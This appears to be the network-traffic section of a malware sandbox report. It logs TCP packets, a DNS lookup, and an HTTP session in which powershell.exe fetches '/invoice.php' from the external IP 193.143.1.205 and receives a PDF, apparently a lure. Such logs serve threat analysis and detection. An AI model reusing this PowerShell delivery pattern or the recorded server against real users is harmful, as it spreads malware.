Jan 11, 2025 02:23:54.338432074 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338440895 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.338473082 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.338476896 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338490963 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338526964 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.338578939 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338598967 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338606119 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338623047 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338629961 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.338639975 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338649988 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338670015 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.338685036 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338691950 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.338699102 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338738918 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.437450886 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.442435980 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442450047 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442461967 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442481995 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442492008 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442497015 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.442504883 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442519903 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442611933 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.442718983 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442729950 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442740917 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442754030 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442763090 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.442771912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442785025 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442796946 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442809105 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442811012 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.442821980 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.442825079 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.442871094 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443072081 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443087101 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443097115 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443109989 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443126917 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443130016 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443141937 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443154097 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443160057 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443171978 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443185091 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443186045 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443200111 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443212032 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443213940 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443223000 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443232059 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443237066 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443264008 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443737984 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443748951 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443758965 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443770885 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443779945 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443784952 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443797112 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443804026 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443809032 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443820000 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443831921 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443840981 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443844080 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443846941 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443856001 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443867922 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443877935 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443881035 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443892956 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443905115 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.443905115 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443929911 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.443947077 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444379091 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444390059 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444401979 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444406986 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444417953 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444428921 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444438934 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444442034 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444454908 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444463015 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444468975 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444480896 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444490910 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444494963 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444503069 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444506884 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444518089 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444519997 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444533110 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444538116 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444544077 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444544077 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444556952 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444570065 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444574118 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444585085 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.444613934 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.444613934 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445162058 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445173025 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445185900 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445198059 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445200920 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445209980 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445218086 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445230007 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445244074 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445252895 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445255995 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445267916 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445277929 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445281982 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445290089 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445300102 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445302963 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445316076 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445327997 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445328951 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445339918 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445344925 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445350885 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445364952 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445375919 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445384979 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445388079 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445400953 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445414066 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445415020 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445425034 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445425034 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445440054 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.445451975 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.445497036 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.446063042 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446075916 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446086884 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446098089 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446105957 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.446111917 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446130037 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446132898 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.446141958 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446156979 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446166992 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.446170092 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.446209908 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.539463997 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.544445038 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544466972 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544480085 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544486046 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544497967 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544504881 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544512033 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544533968 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.544578075 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.544699907 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544712067 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544719934 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544730902 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544738054 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544744015 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544755936 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544764996 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.544770956 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544785023 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.544794083 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.544828892 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545026064 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545038939 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545049906 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545063972 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545073032 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545083046 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545103073 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545192957 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545206070 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545217037 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545229912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545233965 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545243025 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545255899 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545255899 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545268059 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545279980 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545280933 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545295000 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545301914 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545308113 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545320034 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545334101 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545337915 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545347929 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545361996 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545367956 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545382977 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545896053 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545909882 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545923948 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545934916 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545943975 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545953989 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545955896 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545967102 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545980930 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.545993090 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.545993090 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.546009064 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.546013117 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.546050072 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.546132088 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.596707106 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.679781914 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.762535095 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:55.051301956 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:55.432415962 CET	49757	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:55.437285900 CET	8888	49757	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:55.437390089 CET	49757	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:55.437582016 CET	49757	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:55.442362070 CET	8888	49757	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:56.214037895 CET	8888	49757	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:56.268493891 CET	49757	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:56.305447102 CET	49757	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:24:05.324899912 CET	55385	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:24:05.324899912 CET	192.168.2.6	1.1.1.1	0xccc8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:24:05.331965923 CET	1.1.1.1	192.168.2.6	0xccc8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49741	193.143.1.205	80	712	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:52.923397064 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:23:53.718805075 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:23:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:23:53.718831062 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:23:53.718842030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:23:53.718880892 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:23:53.718893051 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:23:53.718919992 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:23:53.719002962 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:23:53.719016075 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:23:53.719058037 CET	152	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{
